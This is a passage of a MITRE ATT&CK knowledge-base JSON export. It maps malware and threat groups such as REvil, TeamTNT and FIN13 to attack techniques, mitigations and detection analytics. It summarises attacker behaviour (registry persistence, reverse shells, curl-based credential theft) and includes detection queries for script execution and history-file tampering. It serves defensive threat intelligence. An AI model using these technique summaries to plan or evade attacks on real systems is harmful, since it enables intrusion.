policies.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e73d4586-569d-4f32-9468-95777d65770a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:35.161Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) establishes persistence under the Registry key HKCU\\Software\\Run auto_update.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e73da29b-075c-4c77-a3e4-16953d51582b","created":"2022-03-25T16:21:29.464Z","x_mitre_version":"1.0","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) has been used to execute netstat -ano on a compromised host.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T20:24:20.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e73e1a22-4923-404b-b2f2-5131f8f24e64","type":"relationship","created":"2020-08-05T15:09:37.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."}],"modified":"2021-04-06T14:42:52.760Z","description":"[REvil](https://attack.mitre.org/software/S0496) can mark its binary code for deletion after reboot.(Citation: Intel 471 REvil March 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e73ef7af-9a9c-46fe-abc1-4aa469cb128c","created":"2023-03-13T15:36:35.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Azure Run Command 2021","description":"Adrien Bataille, Anders Vejlby, Jared Scott Wilson, and Nader Zaveri. (2021, December 14). Azure Run Command for Dummies. Retrieved March 13, 2023.","url":"https://www.mandiant.com/resources/blog/azure-run-command-dummies"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T13:51:02.514Z","description":"Monitor the execution of scripts within virtual machines, especially those initiated via cloud management services like Azure RunCommand. In Azure, usage of Azure RunCommand can be identified via the Azure Activity Logs, and additional details on the result of executed jobs are available in the `C:\\Packages\\Plugins\\Microsoft.CPlat.Core.RunCommandWindows` directory on Windows virtual machines.(Citation: Mandiant Azure Run Command 2021)\n\nAnalytic 1 - Unauthorized script execution\n\n sourcetype=azure:activity\n| search script_name IN (\"script.sh\", \"run.ps1\", \"start.cmd\")\n| where script_name IN (\"script.sh\", \"run.ps1\", \"start.cmd\") AND user NOT IN (\"known_admins\")\n","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e73efb12-ee40-4896-8df6-c0c8b6cb0c92","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","source_name":"FireEye FELIXROOT July 2018"},{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-20T17:15:24.054Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) executes batch scripts on the victim’s machine, and can launch a reverse shell for command execution.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7431ae7-4c26-4043-97d0-31835828ba73","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:32:24.954Z","description":"Monitor for changes made to command history files, such as ConsoleHost_history.txt, ~/.zsh_history, or ~/.bash_history, for unexpected modifications to contents, access permissions, and attributes.\n\nAnalytic 1 : Modification of access rights to command history files\n\n (source=\"*WinEventLog:Security\" EventCode IN (4663, 4670) AND Path=\"*ConsoleHost_history.txt*\" AND ObjectType=\"File\")\n\t AND (UserAccessList=\"*1539*\" OR UserAccessList=\"*WRITE_DAC*\") OR (ObjectNewSd=\"*;FA*\" OR ObjectNewSd=\"*;FW*\" OR ObjectNewSd=\"*;BU*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7465950-100a-4ed3-ad90-02c0dc5edd08","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor executed commands and arguments for actions that may gather the system time and/or time zone from a local or remote system.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7477fbb-361f-4502-99d4-75576d6d3ac7","type":"relationship","created":"2020-11-19T17:07:09.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-12-16T16:12:01.517Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has taken a screenshot of a victim's desktop, named it \"Filter3.jpg\", and stored it in the local directory.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e74cdd3d-4ac7-42c5-a7ac-e2f58371fc5b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","source_name":"PTSecurity Cobalt Group Aug 2017"},{"url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","source_name":"PTSecurity Cobalt Dec 2016"},{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2020-03-19T19:46:47.773Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) used the Ammyy Admin tool as well as TeamViewer for remote access, including to preserve remote access if a Cobalt Strike module was lost.(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e752cfb4-7865-4590-b355-eb1f1b851c5e","type":"relationship","created":"2019-08-30T19:53:25.226Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2020-03-12T00:26:06.835Z","description":"[admin@338](https://attack.mitre.org/groups/G0018) has attempted to get victims to launch malicious Microsoft Word attachments delivered via spearphishing emails.(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7550495-1f2c-4987-abdf-a48ec93d43da","type":"relationship","created":"2021-09-21T15:45:10.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:48.348Z","description":"[Turian](https://attack.mitre.org/software/S0647) can disguise as a legitimate service to blend into normal operations.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e75a0e7b-869f-4149-8b48-8bb1b9cb62ab","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor for executed commands and arguments that may attempt to find local system groups and permission settings.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e75c948b-7ce8-4872-a3c4-4a2b01828418","created":"2023-07-27T20:43:29.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.960Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has utilized `WMI` to execute commands and move laterally on compromised Windows machines.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e75cec16-55e4-471d-ab89-52edf5a7799e","type":"relationship","created":"2020-11-08T23:29:51.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-08T23:29:51.078Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can send a file containing victim system information to C2.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e75ded50-50cc-46fe-b83b-2de8e5f7d7a6","created":"2021-10-01T01:57:31.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cado Security TeamTNT Worm August 2020","description":"Cado Security. (2020, August 16). Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.","url":"https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/"},{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"},{"source_name":"Intezer TeamTNT September 2020","description":"Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.","url":"https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.717Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has the `curl` command to send credentials over HTTP and the `curl` and `wget` commands to download new software.(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Cisco Talos Intelligence Group) [TeamTNT](https://attack.mitre.org/groups/G0139) has also used a custom user agent HTTP header in shell scripts.(Citation: Trend Micro TeamTNT)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7622538-5858-4804-960e-e9ef427a1a43","type":"relationship","created":"2021-05-21T19:53:14.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."}],"modified":"2021-10-17T16:05:27.078Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) can check the system time set on the infected host.(Citation: Kaspersky CactusPete Aug 2020)","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e769177d-17b8-443b-b939-206d724fbb40","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}],"modified":"2019-04-24T23:55:43.375Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) has a command named $screenshot that may be responsible for taking screenshots of the victim machine.(Citation: Unit 42 DarkHydrus July 2018)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e76a5485-4008-4096-820c-87b7dede9e02","type":"relationship","created":"2020-08-10T13:14:05.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro macOS Dacls May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."}],"modified":"2020-08-10T13:14:05.205Z","description":"[Dacls](https://attack.mitre.org/software/S0497) can scan directories on a compromised host.(Citation: TrendMicro macOS Dacls May 2020)","relationship_type":"uses","source_ref":"malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e76db224-a9a8-4a7a-8d0c-d64979087e73","type":"relationship","created":"2021-07-26T16:02:18.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-07T22:10:56.059Z","description":"Use auditing tools capable of detecting folder permissions abuse opportunities on systems, especially reviewing changes made to folders by third-party software.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e76f8463-45ca-489b-86e8-ee854c2a0f71","created":"2023-07-27T20:35:47.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.961Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has remotely accessed compromised environments via secure shell (SSH) for lateral movement.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7714693-e792-44f0-a224-9899df75fced","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"},{"url":"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html","description":"Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox"}],"modified":"2019-04-29T18:01:20.338Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that can detect the existence of remote systems.(Citation: Symantec Buckeye)(Citation: FireEye Clandestine Fox)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e772ce2d-bc2b-4e7f-af67-700737c75d2c","created":"2019-04-17T13:46:38.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.417Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) creates a startup item for persistence. (Citation: Cofense Astaroth Sept 2018)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e7740e58-d87c-44c4-907c-f66b88851ffc","created":"2021-03-17T16:21:47.087Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dell TG-3390","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018."},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Dell TG-3390)(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-11T16:21:36.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e77c6605-41e9-470f-80fc-2a383aeccc5e","type":"relationship","created":"2019-01-31T00:36:41.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","source_name":"Talos Konni May 2017"}],"modified":"2020-03-16T17:06:39.613Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has the capability to perform keylogging.(Citation: Talos Konni May 2017)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e794539e-3c07-4954-ba3c-f6c8ea6432e0","created":"2022-04-13T15:00:35.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ANSSI Nobelium Phishing December 2021","description":"ANSSI. (2021, December 6). PHISHING CAMPAIGNS BY THE NOBELIUM INTRUSION SET. Retrieved April 13, 2022.","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-011.pdf"},{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 